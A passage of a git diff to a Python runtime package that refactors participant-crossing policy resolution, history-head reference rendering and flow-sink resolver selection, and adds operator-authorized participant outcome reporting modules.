a/implementations/python/packages/raes_runtime/participant_crossing_policy.py +++ b/implementations/python/packages/raes_runtime/participant_crossing_policy.py @@ -37,6 +37,83 @@ def _resolve_backend_support( control_plane: object, intent: ParticipantCrossingIntent, resolution: ParticipantCrossingPolicyResolution, +) -> _BackendSupport: + if getattr(control_plane, "_mixed_runtime", None) is not None: + return _resolve_mixed_backend_support(control_plane, intent) + return _resolve_single_backend_support(control_plane, intent, resolution) + + +def _unsupported_support(limitation: str, feature: str | None = None) -> _BackendSupport: + levels = () if feature is None else ((feature, ParticipantFeatureSupportLevel.UNSUPPORTED.value),) + return _BackendSupport( + gate=ParticipantCrossingGateDisposition.UNSUPPORTED, + posture=ParticipantCrossingBackendPosture.UNSUPPORTED, + limitations=(limitation,), + effective_levels=levels, + ) + + +def _support_from_levels( + levels: tuple[tuple[str, str], ...], + *, + evidence_refs: tuple[str, ...] = (), + limitations: tuple[str, ...] = (), +) -> _BackendSupport: + weakest = min((ParticipantFeatureSupportLevel(level) for _, level in levels), key=_support_rank) + posture = { + ParticipantFeatureSupportLevel.EXACT: ParticipantCrossingBackendPosture.EXACT, + ParticipantFeatureSupportLevel.BOUNDED: ParticipantCrossingBackendPosture.BOUNDED, + ParticipantFeatureSupportLevel.DISCLOSED_WEAK: ParticipantCrossingBackendPosture.DISCLOSED_WEAK, + ParticipantFeatureSupportLevel.UNSUPPORTED: ParticipantCrossingBackendPosture.UNSUPPORTED, + }[weakest] + gate = ( + ParticipantCrossingGateDisposition.PERMIT + if weakest is not ParticipantFeatureSupportLevel.UNSUPPORTED + else ParticipantCrossingGateDisposition.UNSUPPORTED + ) + return _BackendSupport( + gate=gate, + posture=posture, + evidence_refs=evidence_refs, + limitations=limitations, + effective_levels=levels, + ) + + +def _resolve_mixed_backend_support( + control_plane: object, + intent: ParticipantCrossingIntent, +) -> _BackendSupport: + from .mixed_runtime_dispatch import mixed_policy_allocation + + allocation = mixed_policy_allocation(control_plane, intent) + if allocation is None: + return _unsupported_support("limitation:mixed-provider-unresolved") + requirements = {requirement.feature: requirement for requirement in allocation.feature_requirements} + levels: list[tuple[str, str]] = [] + limitations: list[str] = [] + evidence_refs: list[str] = [] + for feature in _required_features(intent): + requirement = requirements.get(feature) + if requirement is None: + return _unsupported_support(f"limitation:{feature}:unsupported", feature) + level = requirement.allowed_downgrade_level or requirement.required_level + levels.append((feature, level.value)) + if requirement.allowed_downgrade_level is not None: + limitations.append(f"limitation:{feature}:admitted-downgrade") + if requirement.downgrade_provenance_ref is not None: + evidence_refs.append(requirement.downgrade_provenance_ref) + return _support_from_levels( + tuple(levels), + evidence_refs=tuple(evidence_refs), + limitations=tuple(limitations), + ) + + +def _resolve_single_backend_support( + control_plane: object, + intent: ParticipantCrossingIntent, + resolution: ParticipantCrossingPolicyResolution, ) -> _BackendSupport: declarations = [] for feature in _required_features(intent): @@ -50,37 +127,13 @@ def _resolve_backend_support( downgrade_provenance_ref=resolution.downgrade_provenance_ref, ) except ValueError: - return _BackendSupport( - gate=ParticipantCrossingGateDisposition.UNSUPPORTED, - posture=ParticipantCrossingBackendPosture.UNSUPPORTED, - limitations=(f"limitation:{feature}:unsupported",), - effective_levels=((feature, ParticipantFeatureSupportLevel.UNSUPPORTED.value),), - ) + return _unsupported_support(f"limitation:{feature}:unsupported", feature) if declaration is not None: declarations.append(declaration) if not declarations: - return _BackendSupport( - gate=ParticipantCrossingGateDisposition.UNSUPPORTED, - posture=ParticipantCrossingBackendPosture.UNSUPPORTED, - limitations=("limitation:participant-policy-support-unresolved",), - ) - weakest = min( - (declaration.support_level for declaration in declarations), - key=_support_rank, - ) - posture = { - ParticipantFeatureSupportLevel.EXACT: ParticipantCrossingBackendPosture.EXACT, - ParticipantFeatureSupportLevel.BOUNDED: ParticipantCrossingBackendPosture.BOUNDED, - ParticipantFeatureSupportLevel.DISCLOSED_WEAK: ParticipantCrossingBackendPosture.DISCLOSED_WEAK, - ParticipantFeatureSupportLevel.UNSUPPORTED: ParticipantCrossingBackendPosture.UNSUPPORTED, - }[weakest] - return _BackendSupport( - gate=( - ParticipantCrossingGateDisposition.PERMIT - if weakest is not ParticipantFeatureSupportLevel.UNSUPPORTED - else ParticipantCrossingGateDisposition.UNSUPPORTED - ), - posture=posture, + return _unsupported_support("limitation:participant-policy-support-unresolved") + return _support_from_levels( + tuple((item.feature, item.support_level.value) for item in declarations), evidence_refs=tuple(dict.fromkeys(ref for item in declarations for ref in item.evidence_refs)), limitations=tuple( dict.fromkeys( @@ -89,7 +142,6 @@ def _resolve_backend_support( for ref in (*item.constraint_refs, *item.limitation_refs, *item.disclosure_refs) ) ), - effective_levels=tuple((item.feature, item.support_level.value) for item in declarations), ) diff --git a/implementations/python/packages/raes_runtime/participant_crossing_records.py b/implementations/python/packages/raes_runtime/participant_crossing_records.py index 479db7e1f..af4a08620 100644 --- a/implementations/python/packages/raes_runtime/participant_crossing_records.py +++ b/implementations/python/packages/raes_runtime/participant_crossing_records.py @@ -2,8 +2,6 @@ from __future__ import annotations -import hashlib -import json from dataclasses import asdict, dataclass from datetime import UTC, datetime from uuid import uuid4 @@ -20,12 +18,11 @@ validate_participant_crossing_occurrence_context, ) from raes_contracts.runtime_state import ( - OperationKind, + OperationAdmissionContext, RuntimeSnapshot, ) from .control_plane_mutation import external_control_plane_call -from .control_plane_operation_context import operation_admission_context from .control_plane_security import ControlPlaneIdentity from .control_plane_store import ControlPlaneOperationRecord from .participant_crossing_mediation import ( @@ -57,8 +54,8 @@ class _CrossingDecisionPreparation: gates: ParticipantCrossingDecisionGatesModel disposition: ParticipantCrossingDecisionDisposition expected_heads: dict[str, str | None] - semantic_fingerprint: str - scoped_key: str + context: OperationAdmissionContext + idempotency_key: str def _next_crossing_snapshot( @@ -150,15 +147,8 @@ def _prepare_crossing_decision( identity=identity, decision=final_decision, disposition=final_disposition, - semantic_fingerprint=preparation.semantic_fingerprint, - scoped_key=preparation.scoped_key, - context=operation_admission_context( - control_plane, - kind=OperationKind.PARTICIPANT_CROSSING, - request=intent, - identity=identity, - run_scope=f"run:{intent.episode_id}", - ), + idempotency_key=preparation.idempotency_key, + context=preparation.context, ) record = ControlPlaneOperationRecord( receipt=record.receipt, @@ -373,20 +363,14 @@ def _base_envelope( } -def _semantic_fingerprint( - control_plane: object, +def _semantic_request( intent: ParticipantCrossingIntent, - identity: ControlPlaneIdentity, resolution: ParticipantCrossingPolicyResolution, support: _BackendSupport, - expected_heads: dict[str, str | None], -) -> str: +) -> dict[str, object]: stable_intent = intent.model_dump(mode="json") stable_intent.pop("effective_order", None) - payload = { - "target": control_plane.target_name, - "identity": identity.identity, - "decision_history_heads": expected_heads, + return { "intent": stable_intent, "policy": resolution.policy.model_dump(mode="json"), "gates": asdict(resolution.gates), @@ -403,34 +387,10 @@ def _semantic_fingerprint( else None ), } - encoded = json.dumps(payload, sort_keys=True, separators=(",", ":"), default=str).encode() - return hashlib.sha256(encoded).hexdigest() - - -def _scoped_idempotency_key( - control_plane: object, - intent: ParticipantCrossingIntent, - identity: ControlPlaneIdentity, - idempotency_key: str, -) -> str: - if not idempotency_key: - return "" - encoded = "\x1f".join( - ( - control_plane.target_name, - identity.identity, - intent.participant_address, - intent.episode_id, - intent.audience_scope_ref, - idempotency_key, - ) - ).encode() - return f"participant-crossing:{hashlib.sha256(encoded).hexdigest()}" __all__ = ( "_expected_history_heads", "_prepare_crossing_decision", - "_scoped_idempotency_key", - "_semantic_fingerprint", + "_semantic_request", ) diff --git a/implementations/python/packages/raes_runtime/participant_crossing_state_cut.py b/implementations/python/packages/raes_runtime/participant_crossing_state_cut.py index de8296ee5..e93bacaa9 100644 --- a/implementations/python/packages/raes_runtime/participant_crossing_state_cut.py +++ b/implementations/python/packages/raes_runtime/participant_crossing_state_cut.py @@ -15,6 +15,21 @@ def canonical_crossing_digest(payload: object) -> str: return f"sha256:{hashlib.sha256(encoded).hexdigest()}" +def history_record_identity(record: dict[str, object]) -> str | None: + """Return one retained history record's own stable identity, if it has one. + + Crossing, control, episode and behavior records carry ``event_id``; an + API-424 evaluation carries ``evaluation_id``. Both are the record's own + identity, so neither surface needs a second head convention. + """ + + for key in ("event_id", "evaluation_id"): + value = record.get(key) + if isinstance(value, str) and value: + return value + return None + + def expected_participant_history_heads( snapshot: RuntimeSnapshot, participant_address: str, @@ -25,17 +40,57 @@ def head(history: dict[str, list[dict[str, object]]]) -> str | None: events = history.get(participant_address, ()) if not events: return None - value = events[-1].get("event_id") - if isinstance(value, str) and value: - return value - return canonical_crossing_digest(events[-1]) + return history_record_identity(events[-1]) or canonical_crossing_digest(events[-1]) return { f"participant_episode_history:{participant_address}": head(snapshot.participant_episode_history), f"participant_behavior_history:{participant_address}": head(snapshot.participant_behavior_history), f"participant_control_history:{participant_address}": head(snapshot.participant_control_history), f"participant_crossing_history:{participant_address}": head(snapshot.participant_crossing_history), + f"participant_control_evaluation_history:{participant_address}": head( + snapshot.participant_control_evaluation_history + ), } -__all__ = ["canonical_crossing_digest", "expected_participant_history_heads"] +def participant_history_head_refs(snapshot: RuntimeSnapshot, participant_address: str) -> tuple[str, ...]: + """Render the live state cut into canonical sorted SEM-233 head refs.""" + + heads = expected_participant_history_heads(snapshot, participant_address) + refs = tuple(sorted({f"{key}={value if value is not None else 'none'}" for key, value in heads.items()})) + if not refs: + raise ValueError("participant state cut resolved no history heads") + return refs + + +def control_history_head_refs(snapshot: RuntimeSnapshot, participant_address: str) -> tuple[str, ...]: + """Render the live state cut as closed, bounded API-424 head references. + + One head computation, two renderings. SEM-233 keeps its published + ``:=`` form, whose length follows the + participant coordinate. ``ControlRef`` is bounded at 256 characters and an + admitted participant address alone may approach that bound, so an API-424 + reference names the history and a digest over its exact key and head + rather than embedding both coordinates verbatim. The digest covers the + same values, so exact-equality binding to the live cut is unchanged. + """ + + heads = expected_participant_history_heads(snapshot, participant_address) + refs = tuple(sorted(f"{key.split(':', 1)[0]}@{_head_digest(key, value)}" for key, value in heads.items())) + if not refs: + raise ValueError("participant state cut resolved no history heads") + return refs + + +def _head_digest(key: str, value: str | None) -> str: + encoded = json.dumps([key, value], sort_keys=True, separators=(",", ":")).encode() + return hashlib.sha256(encoded).hexdigest() + + +__all__ = [ + "canonical_crossing_digest", + "control_history_head_refs", + "expected_participant_history_heads", + "history_record_identity", + "participant_history_head_refs", +] diff --git a/implementations/python/packages/raes_runtime/participant_decision_surface_control_v2.py b/implementations/python/packages/raes_runtime/participant_decision_surface_control_v2.py index 6e44ffafa..d02d1d407 100644 --- a/implementations/python/packages/raes_runtime/participant_decision_surface_control_v2.py +++ b/implementations/python/packages/raes_runtime/participant_decision_surface_control_v2.py @@ -26,6 +26,7 @@ _participant_binding_address, _participant_binding_diagnostic, ) +from .participant_submission_options import ParticipantSubmissionOptions def _bind_participant_decision_surface_v2( @@ -68,18 +69,23 @@ def admit_participant_decision_surface_selection_v2( selection: ParticipantDecisionSurfaceSelectionV2Model, admission_request: ParticipantActionAdmissionRequest, resolvers: ParticipantDecisionSurfaceBindingResolversV2, - idempotency_key: str = "", - request_fingerprint: str = "", + **submission_options: object, ) -> OperationReceipt: """Re-resolve v2 state and delivery before ordinary action admission.""" + options = ParticipantSubmissionOptions.from_fields(submission_options) receipt: OperationReceipt if self._target.participant_runtime is None: receipt = self._reject_submission( domain=RuntimeDomain.PARTICIPANT, message=_NO_PARTICIPANT_RUNTIME_MESSAGE, - idempotency_key=idempotency_key, - request_fingerprint=request_fingerprint, + idempotency_key=options.idempotency_key, + request_fingerprint=options.request_fingerprint, + identity=options.identity, + request={ + "operation": "participant-decision-surface-selection-v2", + "participant_address": getattr(participant_behavior, "address", "unknown"), + }, ) else: request, diagnostic = _bind_participant_decision_surface_v2( @@ -94,8 +100,13 @@ def admit_participant_decision_surface_selection_v2( receipt = self._reject_diagnostics( domain=RuntimeDomain.PARTICIPANT, diagnostics=[diagnostic], - idempotency_key=idempotency_key, - request_fingerprint=request_fingerprint, + idempotency_key=options.idempotency_key, + request_fingerprint=options.request_fingerprint, + identity=options.identity, + request={ + "operation": "participant-decision-surface-selection-v2", + "participant_address": getattr(participant_behavior, "address", "unknown"), + }, ) else: with control_plane_mutation(self, OperationKind.PARTICIPANT_ACTION): @@ -111,16 +122,23 @@ def admit_participant_decision_surface_selection_v2( receipt = self._reject_diagnostics( domain=RuntimeDomain.PARTICIPANT, diagnostics=[diagnostic], - idempotency_key=idempotency_key, - request_fingerprint=request_fingerprint, + idempotency_key=options.idempotency_key, + request_fingerprint=options.request_fingerprint, + identity=options.identity, + request={ + "operation": "participant-decision-surface-selection-v2", + "participant_address": getattr(participant_behavior, "address", "unknown"), + }, ) else: assert request is not None receipt = self.admit_participant_action( participant_behavior, request, - idempotency_key=idempotency_key, - request_fingerprint=request_fingerprint, + idempotency_key=options.idempotency_key, + request_fingerprint=options.request_fingerprint, + identity=options.identity, + crossing_evidence=options.crossing_evidence, ) return receipt diff --git a/implementations/python/packages/raes_runtime/participant_episode_control.py b/implementations/python/packages/raes_runtime/participant_episode_control.py index 31caa9188..5774389fa 100644 --- a/implementations/python/packages/raes_runtime/participant_episode_control.py +++ b/implementations/python/packages/raes_runtime/participant_episode_control.py @@ -38,10 +38,17 @@ def control_participant_execution( ) -> OperationReceipt: participant_runtime = self._target.participant_runtime method = getattr(participant_runtime, "control_execution", None) - if participant_runtime is None or not callable(method): + capability = self._target.manifest.participant_runtime + if ( + capability is None + or not capability.supports_execution_control + or request.action not in capability.supported_execution_control_actions + or participant_runtime is None + or not callable(method) + ): return self._reject_submission( domain=RuntimeDomain.PARTICIPANT, - message="Participant runtime does not expose portable execution control.", + message="Selected backend does not declare this participant execution-control operation.", idempotency_key=idempotency_key, request_fingerprint=request_fingerprint, identity=identity, @@ -193,8 +200,22 @@ def _submit_participant_episode_operation( request_fingerprint: str, identity: object | None, ) -> OperationReceipt: + participant_address = request.participant_address + if self._mixed_runtime is not None: + from .mixed_runtime_lifecycle import execute_mixed_participant_lifecycle + + return execute_mixed_participant_lifecycle( + self, + request=request, + method_name=method_name, + action=action, + idempotency_key=idempotency_key, + request_fingerprint=request_fingerprint, + identity=identity, + ) participant_runtime = self._target.participant_runtime - if participant_runtime is None: + method = getattr(participant_runtime, method_name, None) + if participant_runtime is None or not callable(method): return self._reject_submission( domain=RuntimeDomain.PARTICIPANT, message=_NO_PARTICIPANT_RUNTIME_MESSAGE, @@ -203,10 +224,9 @@ def _submit_participant_episode_operation( identity=identity, request=request, ) - participant_address = request.participant_address return execute_participant_action( self, - method=getattr(participant_runtime, method_name), + method=method, request=request, address=f"runtime.control-plane.participant.{participant_address}.{action}", idempotency_key=idempotency_key, diff --git a/implementations/python/packages/raes_runtime/participant_execution_control.py b/implementations/python/packages/raes_runtime/participant_execution_control.py index e4d919da0..c2cfa789b 100644 --- a/implementations/python/packages/raes_runtime/participant_execution_control.py +++ b/implementations/python/packages/raes_runtime/participant_execution_control.py @@ -52,6 +52,7 @@ def _finalize_participant_driver_apply(self, state: _RuntimeApplyState) -> None: ) ) state.failure = ApplyResult( + materialization_attestation=state.materialization_attestation, success=driver_started and not _has_error_diagnostic(state.diagnostics), snapshot=self._snapshot, diagnostics=state.diagnostics, diff --git a/implementations/python/packages/raes_runtime/participant_execution_scheduler_state.py b/implementations/python/packages/raes_runtime/participant_execution_scheduler_state.py index ad5e124f9..cd7324c8c 100644 --- a/implementations/python/packages/raes_runtime/participant_execution_scheduler_state.py +++ b/implementations/python/packages/raes_runtime/participant_execution_scheduler_state.py @@ -31,7 +31,13 @@ def execution_service_state( item for item in time_model.progression_policies if item.address == policy.progression_policy_address ) constraints = tuple( - asdict(item) for item in time_model.constraints if item.address in policy.temporal_constraint_addresses + asdict(item) + for item in time_model.constraints + if item.address + in { + *policy.temporal_constraint_addresses, + *(binding.constraint_address for binding in policy.temporal_bindings), + } ) return ParticipantExecutionServiceStateModel( execution_scope_ref=policy.address, diff --git a/implementations/python/packages/raes_runtime/participant_flow_sink.py b/implementations/python/packages/raes_runtime/participant_flow_sink.py index 25709e8d5..842cfd06d 100644 --- a/implementations/python/packages/raes_runtime/participant_flow_sink.py +++ b/implementations/python/packages/raes_runtime/participant_flow_sink.py @@ -12,16 +12,16 @@ ``validate_participant_flow_control_resolved_context`` and reuses the RUN-319 expected-head state cut. It introduces no store, policy engine, audit channel, exception hierarchy, serializer, or generic dispatcher, and it never -re-implements a validator. SEM-233 enforcement is opt-in per resolver -capability: a resolver that does not expose ``resolve_flow_sink_decision`` -leaves every legacy API-423 path unchanged. +re-implements a validator. SEM-233 enforcement is selected explicitly through +``enforce_final_sink_flow_control``; a control plane that does not select it +leaves every legacy API-423 path unchanged (PC-15). """ from __future__ import annotations from collections.abc import Callable from dataclasses import dataclass, replace -from typing import cast +from typing import Protocol, cast from raes_contracts.contracts import ( ParticipantFlowControlRelationModel, @@ -38,7 +38,27 @@ from .participant_crossing_action import combined_crossing_audit from .participant_crossing_commit import commit_prepared_crossing, participant_crossing_permitted from .participant_crossing_mediation import PreparedParticipantCrossing -from .participant_crossing_state_cut import expected_participant_history_heads +from .participant_crossing_state_cut import participant_history_head_refs + + +class ParticipantFlowSinkResolver(Protocol): + """The explicitly selected legacy SEM-233 final-sink adapter (PC-15). + + RUN-320 replaced method-presence discovery: a resolver participates in + final-sink enforcement because the operator selected it through + ``enforce_final_sink_flow_control``, not because it happens to expose this + method. Structural presence establishes no capability or authority. + """ + + def resolve_flow_sink_decision( + self, + *, + snapshot: object, + intent: object, + crossing: object, + sink_kind: object, + expected_history_head_refs: tuple[str, ...], + ) -> object: ... @dataclass(frozen=True) @@ -64,11 +84,7 @@ class ParticipantFlowSinkDecision: def flow_sink_history_head_refs(control_plane: object, participant_address: str) -> tuple[str, ...]: """Render the live RUN-319 state cut into canonical sorted history-head refs.""" - heads = expected_participant_history_heads(control_plane._snapshot, participant_address) - refs = tuple(sorted({f"{key}={value if value is not None else 'none'}" for key, value in heads.items()})) - if not refs: - raise ValueError("participant flow-sink state cut resolved no history heads") - return refs + return participant_history_head_refs(control_plane._snapshot, participant_address) def _denied(disposition: ParticipantFlowFinalDisposition, reason_code: str) -> ParticipantFlowSinkDecision: @@ -118,12 +134,13 @@ def resolve_participant_flow_sink_decision( permission. """ - resolver = getattr(control_plane, "_crossing_policy_resolver", None) + resolver = getattr(control_plane, "_flow_sink_resolver", None) + if resolver is None: + # No legacy adapter was selected; the caller runs the API-423-only path. + return None hook = getattr(resolver, "resolve_flow_sink_decision", None) if not callable(hook): - if getattr(control_plane, "_enforce_final_sink_flow_control", False): - return _denied(ParticipantFlowFinalDisposition.UNRESOLVED, "flow-sink-enforcement-required") - return None + return _denied(ParticipantFlowFinalDisposition.UNRESOLVED, "flow-sink-enforcement-required") return _resolved_flow_sink_decision(control_plane, crossing, hook, sink_kind) @@ -320,6 +337,7 @@ def early_crossing_receipt( __all__ = ( + "ParticipantFlowSinkResolver", "ParticipantFlowSinkDecision", "ParticipantFlowSinkResolution", "apply_flow_sink_details", diff --git a/implementations/python/packages/raes_runtime/participant_outcome_control.py b/implementations/python/packages/raes_runtime/participant_outcome_control.py new file mode 100644 index 000000000..d1119a2df --- /dev/null +++ b/implementations/python/packages/raes_runtime/participant_outcome_control.py @@ -0,0 +1,164 @@ +"""Authorized, revision-bound ACT-618 report production on the existing store.""" + +from __future__ import annotations + +from dataclasses import replace +from typing import TYPE_CHECKING +from uuid import uuid4 + +from raes_contracts.contracts.participant_outcomes import ParticipantOutcomeReportV2Model +from raes_contracts.operation_lifecycle import OperationAdmissionContext +from raes_contracts.planning import RuntimeDomain +from raes_contracts.runtime_state import OperationKind, OperationReceipt, OperationState, OperationStatus +from raes_processor.models import ParticipantBehaviorRuntime, ParticipantOutcomeInterpretationRuleRuntime, RuntimeModel + +from .control_plane_execution import _utc_now +from .control_plane_lifecycle import runtime_owned +from .control_plane_mutation import control_plane_mutation, mutation_entry +from .control_plane_operation_context import operation_admission_context +from .control_plane_security import ControlPlaneIdentity, ControlPlaneRole +from .control_plane_store import AuditEvent, ControlPlaneOperationRecord, SnapshotRevisionConflict +from .control_plane_store_history import participant_history_head +from .participant_control_mediation import _require_participant_binding +from .participant_outcome_state import ParticipantOutcomeUpdateRequest, produce_participant_outcome + +if TYPE_CHECKING: + from .control_plane import RuntimeControlPlane + + +def _authorized_outcome_request( + control_plane: RuntimeControlPlane, request: ParticipantOutcomeUpdateRequest, identity: ControlPlaneIdentity +) -> ParticipantOutcomeInterpretationRuleRuntime: + if not isinstance(identity, ControlPlaneIdentity) or ControlPlaneRole.OPERATOR not in identity.roles: + raise PermissionError("participant outcome updates require an authenticated operator") + if identity.target_name is not None and identity.target_name != control_plane.target_name: + raise PermissionError("participant outcome identity is not authorized for this target") + _require_participant_binding(identity, request.participant_address) + model = control_plane._participant_outcome_model + if model is None: + raise ValueError("participant outcome compiled model is unavailable") + participant = model.participant_behaviors.get(request.participant_address) + rule = model.outcome_interpretation_rules.get(request.rule_address) + if participant is None or rule is None: + raise ValueError("participant outcome participant or rule binding is invalid") + _require_declared_rule(model, participant, rule) + return rule + + +def _outcome_operation( + request: ParticipantOutcomeUpdateRequest, + report: ParticipantOutcomeReportV2Model, + identity: ControlPlaneIdentity, + context: OperationAdmissionContext, +) -> tuple[ControlPlaneOperationRecord, AuditEvent]: + operation_id = str(uuid4()) + receipt = OperationReceipt( + operation_id=operation_id, + domain=RuntimeDomain.PARTICIPANT, + submitted_at=report.recorded_at, + accepted=True, + context=context, + ) + status = OperationStatus( + operation_id=operation_id, + domain=RuntimeDomain.PARTICIPANT, + state=OperationState.SUCCEEDED, + submitted_at=report.recorded_at, + updated_at=report.recorded_at, + context=context, + changed_addresses=[request.participant_address], + ) + record = ControlPlaneOperationRecord( + receipt=receipt, + status=status, + request_fingerprint=context.request_commitment, + idempotency_key=f"outcome:{request.event_id}", + ) + audit = AuditEvent( + timestamp=report.recorded_at, + action="record_participant_outcome", + identity=identity.identity, + allowed=True, + target=request.participant_address, + operation_id=operation_id, + reason="accepted", + ) + return record, audit + + +class ParticipantOutcomeControlMixin: + """Embedded operator boundary; outcome reports are not participant-visible views.""" + + @runtime_owned + @mutation_entry(OperationKind.PARTICIPANT_CONTROL) + def record_participant_outcome( + self, request: ParticipantOutcomeUpdateRequest, *, identity: ControlPlaneIdentity + ) -> OperationReceipt: + if not isinstance(request, ParticipantOutcomeUpdateRequest): + raise ValueError("participant outcome update requires a typed request") + # Revalidate model_copy/model_construct carriers at the mutation boundary. + try: + request = ParticipantOutcomeUpdateRequest.model_validate(request.model_dump(mode="json")) + except (TypeError, ValueError): + raise ValueError("participant outcome update contract is invalid") from None + rule = _authorized_outcome_request(self, request, identity) + with control_plane_mutation(self, OperationKind.PARTICIPANT_CONTROL), self._participant_control_lock: + self._reload_derived_state() + context = operation_admission_context( + self, kind=OperationKind.PARTICIPANT_CONTROL, request=request.model_dump(mode="json"), identity=identity + ) + prior = self._store.find_by_idempotency(f"outcome:{request.event_id}", context=context) + if prior is not None: + if prior.request_fingerprint != context.request_commitment: + raise ValueError("participant outcome retry payload differs") + return prior.receipt + if request.expected_snapshot_revision != self._snapshot_state.revision: + raise SnapshotRevisionConflict() + if any( + raw["event_id"] == request.event_id + for records in self._snapshot.participant_outcome_history.values() + for raw in records + ): + raise ValueError("participant outcome event identity already exists") + report = produce_participant_outcome( + self._snapshot, + rule, + request, + timestamp=_utc_now(), + actor_ref=identity.identity, + authorization_scope="role:operator", + ) + history = {key: list(records) for key, records in self._snapshot.participant_outcome_history.items()} + history.setdefault(request.participant_address, []).append(report.model_dump(mode="json")) + following = self._snapshot.with_entries(dict(self._snapshot.entries), participant_outcome_history=history) + record, audit = _outcome_operation(request, report, identity, context) + running = replace( + record, + status=replace(record.status, state=OperationState.RUNNING, diagnostics=[], changed_addresses=[]), + ) + claimed = self._claim_record(running) + if claimed.receipt.operation_id != record.receipt.operation_id: + return claimed.receipt + key = f"participant_outcome_history:{request.participant_address}" + self._commit_participant_transition( + expected_history_heads={key: participant_history_head(self._snapshot, key)}, + snapshot=following, + record=record, + audit_event=audit, + ) + return record.receipt + + +def _require_declared_rule( + model: RuntimeModel, participant: ParticipantBehaviorRuntime, rule: ParticipantOutcomeInterpretationRuleRuntime +) -> None: + role = participant.role + if not any( + rule.address in specification.outcome_interpretation_rule_addresses + and (participant.address in specification.participant_addresses or role in specification.participant_role_refs) + for specification in model.behavior_specifications.values() + ): + raise ValueError("participant outcome behavior-specification binding is invalid") + for layer, ref in zip(rule.source_layers, rule.source_refs, strict=True): + if layer == "participant_action_outcome" and ref not in participant.action_contract_addresses: + raise ValueError("participant outcome rule action binding is invalid") diff --git a/implementations/python/packages/raes_runtime/participant_outcome_state.py b/implementations/python/packages/raes_runtime/participant_outcome_state.py new file mode 100644 index 000000000..acb364710 --- /dev/null +++ b/implementations/python/packages/raes_runtime/participant_outcome_state.py @@ -0,0 +1,127 @@ +"""ACT-618 producer over SEM-215 rules and existing participant observations.""" + +from typing import Literal + +from pydantic import Field, StrictInt +from raes_contracts.canonical import canonical_json_digest +from raes_contracts.contracts.base import ContractModel, NonEmptyString +from raes_contracts.contracts.participant_outcomes import ParticipantOutcomeReportV2Model +from raes_contracts.participant_outcome_history import ( + outcome_history_digest, + outcome_observations, + outcome_projection, + require_outcome_predecessor, + validate_outcome_rule, +) +from raes_contracts.runtime_state import RuntimeSnapshot +from raes_processor.models import ParticipantOutcomeInterpretationRuleRuntime + + +class ParticipantOutcomeUpdateRequest(ContractModel): + """An operator requests interpretation of an exact already-recorded state cut.""" + + participant_address: NonEmptyString + episode_id: NonEmptyString + outcome_id: NonEmptyString + event_id: NonEmptyString + rule_address: NonEmptyString + expected_revision: StrictInt = Field(ge=0) + expected_snapshot_revision: StrictInt = Field(ge=0) + excluded_observation_refs: list[NonEmptyString] = Field(default_factory=list) + correction_basis: NonEmptyString | None = None + + +def produce_participant_outcome( + snapshot: RuntimeSnapshot, + rule: ParticipantOutcomeInterpretationRuleRuntime, + request: ParticipantOutcomeUpdateRequest, + *, + timestamp: str, + actor_ref: str, + authorization_scope: str, +) -> ParticipantOutcomeReportV2Model: + """Prepare one report without mutating snapshot, cache or durable state.""" + _require_live_episode(snapshot, request) + spec = validate_outcome_rule(rule.spec) + previous = _outcome_head(snapshot, request.participant_address, request.episode_id, request.outcome_id) + if type(request.expected_revision) is not int or request.expected_revision != ( + previous.revision if previous else 0 + ): + raise ValueError("outcome predecessor revision is stale") + history = snapshot.participant_behavior_history.get(request.participant_address, []) + observations = outcome_observations(history, request.participant_address, request.episode_id) + attainment, knowledge, evidence = outcome_projection(spec, observations, set(request.excluded_observation_refs)) + report = ParticipantOutcomeReportV2Model( + event_id=request.event_id, + schema_name="raes.participant_runtime.outcome_report", + schema_version="2.0.0", + event_type="participant_outcome_report", + extension_policy="closed", + occurred_at=timestamp, + recorded_at=timestamp, + ingested_at=timestamp, + clock_authority="control-plane", + ordering_basis="control_plane_order", + actor_ref=actor_ref, + producer_ref="runtime:participant-outcome", + authorization_scope=authorization_scope, + participant_address=request.participant_address, + episode_id=request.episode_id, + outcome_id=request.outcome_id, + interpretation_rule_ref=rule.address, + rule_digest=canonical_json_digest(spec.model_dump(mode="json")), + rule_spec=spec, + revision=request.expected_revision + 1, + predecessor_event_ref=previous.event_id if previous else None, + behavior_history_length=len(history), + behavior_history_digest=outcome_history_digest(history), + observation_refs=[ref for _, ref in observations], + excluded_observation_refs=list(request.excluded_observation_refs), + correction_basis=request.correction_basis, + category=spec.local_outcome.category, + attainment=attainment, + knowledge=knowledge, + freshness="current_at_recorded_cut", + evidence_refs=evidence, + provenance_refs=[rule.address, *([request.correction_basis] if request.correction_basis else [])], + ) + require_outcome_predecessor(report, previous) + return report + + +def current_participant_outcome( + snapshot: RuntimeSnapshot, + participant_address: str, + outcome_id: str, +) -> tuple[ParticipantOutcomeReportV2Model | None, Literal["current", "stale", "absent"]]: + """Return (latest report, freshness); absent historical data stays absent.""" + episode = snapshot.participant_episode_results.get(participant_address, {}).get("episode_id") + reports = [ + raw + for raw in snapshot.participant_outcome_history.get(participant_address, []) + if raw["episode_id"] == episode and raw["outcome_id"] == outcome_id + ] + if not reports: + return None, "absent" + report = ParticipantOutcomeReportV2Model.model_validate(reports[-1]) + digest = outcome_history_digest(snapshot.participant_behavior_history.get(participant_address, [])) + return report, "current" if digest == report.behavior_history_digest else "stale" + + +def _require_live_episode(snapshot: RuntimeSnapshot, request: ParticipantOutcomeUpdateRequest) -> None: + state = snapshot.participant_episode_results.get(request.participant_address, {}) + if state.get("participant_address") != request.participant_address: + raise ValueError("outcome live participant binding is invalid") + if state.get("episode_id") != request.episode_id or state.get("status") != "running": + raise ValueError("outcome update requires the exact live episode") + + +def _outcome_head( + snapshot: RuntimeSnapshot, participant: str, episode: str, outcome: str +) -> ParticipantOutcomeReportV2Model | None: + reports = [ + raw + for raw in snapshot.participant_outcome_history.get(participant, []) + if raw["episode_id"] == episode and raw["outcome_id"] == outcome + ] + return ParticipantOutcomeReportV2Model.model_validate(reports[-1]) if reports else None diff --git a/implementations/python/packages/raes_runtime/participant_result_contracts.py b/implementations/python/packages/raes_runtime/participant_result_contracts.py index 143b55384..417d37ad2 100644 --- a/implementations/python/packages/raes_runtime/participant_result_contracts.py +++ b/implementations/python/packages/raes_runtime/participant_result_contracts.py @@ -7,6 +7,10 @@ from raes_contracts.contracts import ParticipantInformationStateContextResolver from raes_contracts.diagnostics import Diagnostic +from raes_contracts.mixed_runtime_history import ( + iter_mixed_runtime_snapshot_violations, + iter_mixed_runtime_transition_violations, +) from raes_contracts.participant_behavior import ( iter_participant_behavior_snapshot_violations, iter_participant_runtime_history_transition_violations, @@ -15,6 +19,9 @@ 